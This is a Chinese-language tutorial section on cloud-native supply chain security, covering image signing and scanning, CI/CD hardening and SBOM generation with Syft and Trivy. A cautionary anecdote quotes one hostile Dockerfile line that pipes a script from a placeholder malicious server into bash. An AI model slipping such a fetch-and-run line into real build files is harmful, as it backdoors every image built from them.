4. 云原生供应链安全：镜像仓库安全、CI/CD管道安全、软件物料清单(SBOM)
好，咱们聊聊供应链安全。说实话，这是云原生安全里最容易被忽视，但一旦出事就是大事的环节。你想想看，一个容器镜像从开发到上线，经过了多少道手？代码仓库、构建系统、镜像仓库、部署平台……任何一个环节被污染，整个生产环境都可能沦陷。
我个人习惯把供应链安全分成三个核心维度：镜像仓库安全、CI/CD管道安全、软件物料清单(SBOM)。咱们一个一个拆开讲。
4.1 镜像仓库安全：你的镜像真的可信吗？
镜像仓库是供应链的“心脏”。所有镜像都从这里分发出去。如果仓库被攻破，或者里面存了带后门的镜像，后果不堪设想。
核心风险点：
- 镜像被篡改：攻击者替换了合法镜像，植入恶意代码。
- 镜像包含漏洞：基础镜像或依赖包有已知CVE。
- 敏感信息泄露：镜像层里不小心嵌入了密码、密钥。
- 未授权访问：任何人都能拉取或推送镜像。
我的建议：镜像仓库必须做到“不可变”和“签名验证”。
怎么做？
- 启用镜像签名：用Notary或Cosign对镜像进行数字签名。拉取时强制验证签名，确保镜像没被篡改。
- 配置镜像扫描：集成Trivy、Clair或Anchore，每次推送镜像时自动扫描漏洞。我建议把扫描结果作为准入条件——有高危漏洞的镜像，直接拒绝入库。
- 设置访问控制：基于角色的权限管理(RBAC)，严格区分谁可以推送、谁可以拉取。匿名拉取？关掉。
- 清理历史镜像：保留太多旧版本镜像，等于给攻击者留了更多攻击面。设置保留策略，只保留最近N个版本。
避坑指南：我曾经遇到一个团队，镜像仓库里堆了上千个未签名的镜像，连基础镜像的版本都查不到。后来我们强制推行了“镜像签名+扫描”策略，虽然初期有点阻力，但效果立竿见影。
4.2 CI/CD管道安全：别让构建过程变成“后门”
CI/CD管道是供应链的“生产线”。代码在这里被编译、测试、打包成镜像。如果管道本身不安全，你就是在“有毒的工厂”里生产“安全的药品”。
常见攻击面：
- 代码注入：攻击者通过PR或提交，在构建脚本里植入恶意命令。
- 凭证泄露：CI/CD环境变量里存了云服务密钥、仓库密码。
- 依赖投毒：使用了被篡改的第三方包或基础镜像。
- 构建环境被污染：共享的构建节点上残留了恶意文件。
我的做法：
- 最小权限原则：CI/CD流水线的服务账号，只给最小必要权限。比如，构建阶段只需要读取代码和推送镜像到仓库，那就只给这两个权限。
- 使用临时凭证：别把长期密钥硬编码在流水线里。用Vault或云服务商的临时令牌服务，每次构建动态生成凭证，用完即销毁。
- 隔离构建环境：每个构建任务跑在独立的容器或Pod里，用完就销毁。避免共享环境带来的污染风险。
- 代码审查+签名：所有对构建脚本、Dockerfile的修改，必须经过代码审查。有条件的话，对关键文件启用签名验证。
注意：我曾经见过一个案例，攻击者通过一个看似无害的PR，在Dockerfile里加了一行RUN curl http://malicious-server.com/payload.sh | bash。因为代码审查不严，这行代码被合并了。结果呢？所有后续构建的镜像都带上了后门。所以，对Dockerfile和构建脚本的审查，必须像审查业务代码一样严格。
4.3 软件物料清单(SBOM)：你得知道自己用了什么
SBOM，说白了就是一份“软件成分清单”。它列出了你的应用里包含了哪些组件、版本、依赖关系。没有SBOM，你就像在蒙着眼睛开车——出了事故都不知道撞了什么。
为什么需要SBOM？
- 漏洞响应：当Log4j这样的漏洞爆发时，你能立刻知道哪些应用受影响。
- 合规要求：很多行业标准（如EO 14028、NTIA）已经要求软件供应链必须提供SBOM。
- 依赖管理：清楚知道每个依赖的来源和版本，避免使用过时或不再维护的库。
如何生成SBOM？
我推荐使用CycloneDX或SPDX格式。工具方面，可以用Syft、Trivy或Dependency-Track。
# 用Syft生成容器镜像的SBOM
syft nginx:latest -o cyclonedx-json > sbom.nginx.json
# 用Trivy扫描并生成SBOM
trivy image --format cyclonedx --output sbom.nginx.json nginx:latestSBOM应该放在哪里？
我个人习惯把SBOM作为构建产物的一部分，和镜像一起存储。比如，在镜像仓库里，每个镜像旁边都附带一个SBOM文件。或者，用Dependency-Track这样的平台集中管理所有SBOM。
| 工具 | 格式支持 | 适用场景 |
|---|---|---|
| Syft | CycloneDX, SPDX | 容器镜像、文件系统 |
| Trivy | CycloneDX, SPDX | 镜像、仓库、文件系统 |
| Dependency-Track | CycloneDX | 集中管理、持续监控 |
我的经验：SBOM不是生成一次就完事了。你得把它集成到CI/CD流水线里，每次构建都生成新的SBOM，并和之前的版本做对比。这样，当某个依赖出现漏洞时，你能立刻定位到是哪个构建引入了它。
4.4 把三者串起来：一个完整的供应链安全实践
光有镜像仓库安全、CI/CD安全、SBOM还不够。你得把它们串成一个闭环。
我建议的流程：
- 开发提交代码 → 触发CI/CD流水线。
- 构建阶段：生成SBOM，扫描依赖漏洞。如果有高危漏洞，直接阻断构建。
- 镜像构建：对Dockerfile进行安全审查，使用最小基础镜像。
- 镜像签名：用Cosign对镜像签名。
- 推送镜像：推送到镜像仓库前，再次扫描镜像漏洞。只有通过扫描和签名验证的镜像才能入库。
- 部署阶段：拉取镜像时，验证签名。如果签名无效或SBOM显示有未修复的漏洞，拒绝部署。
- 运行时监控：持续监控运行中的容器，对比SBOM，发现异常依赖变化立即告警。
核心思想：供应链安全不是单点防御，而是从代码到运行时的全链路信任链。每一环都要验证，每一环都要记录。
嗯，供应链安全这块内容比较多，但核心就这三点：管好镜像仓库、守住CI/CD管道、用好SBOM。你想想看，如果这三件事都做到了，攻击者想从供应链下手，难度会大很多。我在多个项目中实践过这套体系，效果确实不错。当然，初期投入会有点大，但比起出事后的损失，这点投入完全值得。